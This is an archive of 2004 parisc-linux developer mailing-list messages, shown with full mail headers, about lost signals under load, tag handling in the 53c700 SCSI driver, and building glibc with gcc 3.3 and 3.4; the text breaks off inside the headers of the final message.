X-Mailer: Neural Implant (89% Sync Ratio [=========.])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21942

On Tue, Aug 31, 2004 at 04:43:11PM -0400, John David Anglin wrote:
> > I've been running this now for three days on hiauly6 with a 32-bit
> > 2.6.8.1-pa7 kernel (default c3000 config) doing almost continuous gcc
> > builds.  Things seem pretty promising.  No random SIGSEGVs and expect
> > seems to be behaving itself.
> 
> As usual, I have to eat my words.  The libjava "PR218 -O3 execution -
> source compiled test" hung in the libjava testsuite on the next gcc
> build.  Looking at libjava.log, I see that there is no "WARNING:
> program timed out." message for this test.  Thus, the alarm signal
> for this test somehow got lost.  The testsuite continued after I
> killed PR218.exe.

Losing signals under load is very bad, I don't see where or why this
might be happening. I don't really know what that test does, if it uses
compare_and_swap in any way then it's non-atomic and all sorts of bad
things could happen under load.

I'm still writing my paper, so I can't add the hooks in for this.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 53c700.c problems with tags?
Date: Thu, 2 Sep 2004 09:45:22 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <20040902154522.GA3060@colo.lackof.org>
References: <Pine.LNX.4.58.0408311232240.2373@localhost>
	<20040902031859.GB24049@colo.lackof.org>
	<Pine.LNX.4.58.0409021240540.2373@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623542 10920 80.91.229.3 (22 Nov 2014 02:32:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:22 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4049 invoked by uid 65534); 2 Sep 2004 15:46:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 02 Sep 2004 17:46:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 61ED03BE0E; Thu,  2 Sep 2004 09:46:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08438-04; Thu, 2 Sep 2004 09:46:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5D6693BE22; Thu,  2 Sep 2004 09:45:30 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A9CA3BDF4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Sep 2004 09:45:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06651-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Sep 2004 09:45:25 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id A90493BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Sep 2004 09:45:24 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id BFA2A298116; Thu,  2 Sep 2004 09:45:23 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03237-08; Thu, 2 Sep 2004 09:45:23 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DBC2C298059; Thu,  2 Sep 2004 09:45:22 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0409021240540.2373@localhost>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21943

On Thu, Sep 02, 2004 at 12:48:01PM +0200, Jochen Friedrich wrote:
> Thanks. However, my post was not a question how to get rid of the problem
> (my servers are running fine) but just a hint that there might be a bug in
> the tag handling code of 53c700.c.

ah ok. I didn't realize you were trying share another clue as to
what the problem might be. We know there were (are?) problems
with 53c700 tag handling.

>  I didn't really look at the code hard enough, but to me it looks like

Well, I haven't looked at that driver recently...

>  if the tag queue is full, the most likely
> next free tag is searched. If it isn't free, but another tag is, the
> message is printed

The tag number is no guarantee of ordering when using unordered
queue tags (LIFO and FIFO are the other two types of tags).
The driver needs to use some sort of time stamp to determine
tag starvation and not based on which tag numbers happen to be in use.

The message shouldn't be printed unless a tag doesn't complete for a while.
e.g. 3 seconds or more after other tagged IOs (which started later) have
completed.

> and some badness happens and the kernel halts.

My guess is the "tag starvation" message implies assumptions
about how unordered tags work are wrong. Someone needs to review
the allocation/deallocation of IO requests to make sure the driver
don't assume the next/prev tag is not used.

> Setting the queue depth to 1 always fixes the problem, because the drive
> has no chance to reorder the tags.
> 
> Setting the queue depth to something as big as 128 also fixes the problem,
> because the queue never gets that full.

ok - thanks for the addional info.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 53c700.c problems with tags?
Date: Thu, 2 Sep 2004 12:48:01 +0200 (CEST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0409021240540.2373@localhost>
References: <Pine.LNX.4.58.0408311232240.2373@localhost>
	<20040902031859.GB24049@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623543 10923 80.91.229.3 (22 Nov 2014 02:32:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:23 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21176 invoked by uid 65534); 2 Sep 2004 10:49:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 02 Sep 2004 12:49:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AA1EC3BE22; Thu,  2 Sep 2004 04:49:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05361-03; Thu, 2 Sep 2004 04:49:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 709C63BE24; Thu,  2 Sep 2004 04:48:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95E303BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Sep 2004 04:48:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03174-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Sep 2004 04:48:27 -0600 (MDT)
Original-Received: from mail1.nwe.de (mail1.nwe.de [195.226.126.83])
	by free.linux.hp.com (Postfix) with ESMTP id 3383A3BE0E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Sep 2004 04:48:27 -0600 (MDT)
Original-Received: from mail3.scram.de (mail3.scram.de [195.226.127.113])
	by localhost (Postfix) with ESMTP
	id 85CD432E42; Thu,  2 Sep 2004 12:48:25 +0200 (CEST)
Original-Received: from dhcp6.internal.nwe.de (gate.nwe.de [195.226.126.3])
	by mail1.nwe.de (Postfix) with ESMTP
	id 1950D32E49; Thu,  2 Sep 2004 12:48:02 +0200 (CEST)
X-X-Sender: jochen@localhost
In-Reply-To: <20040902031859.GB24049@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at scram.de
X-Spam-Status: No, hits=-4.9 tagged_above=-999.0 required=5.0 tests=BAYES_00
X-Spam-Report: * -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
	* [score: 0.0000]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21944

Hi Grant,

> Searching for "tag starvation" at
> 	http://lists.parisc-linux.org/
>
> yields:
> 	http://lists.parisc-linux.org/pipermail/parisc-linux/2004-August/024357.html

Thanks. However, my post was not a question how to get rid of the problem
(my servers are running fine) but just a hint that there might be a bug in
the tag handling code of 53c700.c. I didn't really look at the code hard
enough, but to me it looks like if the tag queue is full, the most likely
next free tag is searched. If it isn't free, but another tag is, the
message is printed and some badness happens and the kernel halts.

Setting the queue depth to 1 always fixes the problem, because the drive
has no chance to reorder the tags.

Setting the queue depth to something as big as 128 also fixes the problem,
because the queue never gets that full.

Thanks,
Jochen
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] back to glibc-2.3.3 & gcc-3.4.1 pb
Date: Thu, 02 Sep 2004 19:34:32 +0000
Lines: 56
Approved: news@gmane.org
Message-ID: <413775C8.3060108@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623543 10927 80.91.229.3 (22 Nov 2014 02:32:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:23 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9792 invoked by uid 65534); 2 Sep 2004 19:34:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 02 Sep 2004 21:34:22 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 815743BDCE; Thu,  2 Sep 2004 13:34:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08808-09; Thu, 2 Sep 2004 13:34:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 57DE93BDF3; Thu,  2 Sep 2004 13:33:24 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 451453BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Sep 2004 13:33:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08806-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Sep 2004 13:33:16 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id B49013BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Sep 2004 13:33:15 -0600 (MDT)
Original-Received: from [83.134.228.30] (helo=[83.134.228.30])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1C2xKb-0000So-Uy; Thu, 02 Sep 2004 21:33:14 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.2) Gecko/20040820 Debian/1.7.2-4
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21945

Hello Carlos,

I co yesterday glibc cvs (ie 2004 09 01) and apply your patch 2004-08-24.
I install debian gcc-3.4.1-7 and the build of this the libc with this compiler failed :(

seems in _dl_make_fptr() I need much more work, ...

I so retry to build with gcc-3.3 (3.3.4-7 deb) and the build just finished with success, so I launch the check now (yes more then 
7h on a c110 ;).

That said, it's the first time that I compare configure log and notice some differences, excepted :
@@ -26,8 +26,8 @@
  checking for ld... ld
  checking version of ld... 2.15, ok
  checking for pwd... /bin/pwd
-checking for hppa-linux-gcc... (cached) /usr/bin/gcc-3.4
-checking version of /usr/bin/gcc-3.4... 3.4.1, ok
+checking for hppa-linux-gcc... (cached) hppa-linux-gcc
+checking version of hppa-linux-gcc... 3.3.4, ok
  checking for gnumake... no
  checking for gmake... no
  checking for make... make

To help to read - as related to 3.4 and + with 3.3 (and yes unstable so binutils 2.15)

@@ -78,7 +78,7 @@
  checking for -z combreloc... no
  checking for -z execstack... yes
  checking for -fpie... no
-checking for -fno-unit-at-a-time... yes
+checking for -fno-unit-at-a-time... no
  checking whether cc puts quotes around section names... no
  checking for assembler .weak directive... yes
  checking for assembler line separator... !
@@ -89,7 +89,7 @@
  checking for DWARF2 unwind info support... no_registry_needed
  checking for __builtin_expect... yes
  checking for __builtin_memset... no
-checking for redirection of built-in functions... yes
+checking for redirection of built-in functions... no
  checking for local label subtraction... yes
  checking for __thread... no
  checking for libgd... no

Is it usefull to try to force gcc-3.4 to work without -fno-unit-at-a-time and (even though I don't know yet how) without 
'redirection of built-in functions' (even thought according to patch description: 
<http://gcc.gnu.org/ml/gcc-patches/2003-04/msg02045.html> this last one is supposed to help glibc build?)

TIA for advise,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: back to glibc-2.3.3 & gcc-3.4.1 pb
Date: Sun, 5 Sep 2004 22:47:57 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200409060247.i862lvIU001539@hiauly1.hia.nrc.ca>
References: <413B222D.8040601@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623543 10930 80.91.229.3 (22 Nov 2014 02:32:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20883 invoked by uid 65534); 6 Sep 2004 02:48:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 06 Sep 2004 04:48:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6E78C3BE59; Sun,  5 Sep 2004 20:48:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18424-04; Sun, 5 Sep 2004 20:48:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8FA7F3BE44; Sun,  5 Sep 2004 20:48:04 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F1F8F3BE21
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Sep 2004 20:48:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17287-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 5 Sep 2004 20:48:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 99E813BDF3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Sep 2004 20:47:59 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i862lw45001540; Sun, 5 Sep 2004 22:47:58 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i862lvIU001539;
	Sun, 5 Sep 2004 22:47:57 -0400 (EDT)
In-Reply-To: <413B222D.8040601@tiscali.be> from "Joel Soete" at Sep 5,
	2004 10:26:53 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21946

> > ../sysdeps/generic/unwind-dw2.c:1021: warning: 
> > 'fallback_frame_state_for' defined but not used
> > rtld.c:730: warning: implicit declaration of function 

This problem in serious and needs to be fixed.  The function
fallback_frame_state_for is needed.  It is only called from an asm and
gcc doesn't know about calls from asm's.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: back to glibc-2.3.3 & gcc-3.4.1 pb
Date: Sun, 5 Sep 2004 23:02:15 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <200409060302.i8632FbU001591@hiauly1.hia.nrc.ca>
References: <413B222D.8040601@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623544 10932 80.91.229.3 (22 Nov 2014 02:32:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18644 invoked by uid 65534); 6 Sep 2004 03:02:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 06 Sep 2004 05:02:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4F5933BE44; Sun,  5 Sep 2004 21:02:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18506-04; Sun, 5 Sep 2004 21:02:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1B5133BE49; Sun,  5 Sep 2004 21:02:26 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B82D83BE3E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Sep 2004 21:02:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18424-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 5 Sep 2004 21:02:17 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5E1F93BDF3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Sep 2004 21:02:17 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8632F45001592; Sun, 5 Sep 2004 23:02:16 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8632FbU001591;
	Sun, 5 Sep 2004 23:02:15 -0400 (EDT)
In-Reply-To: <413B222D.8040601@tiscali.be> from "Joel Soete" at Sep 5,
	2004 10:26:53 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
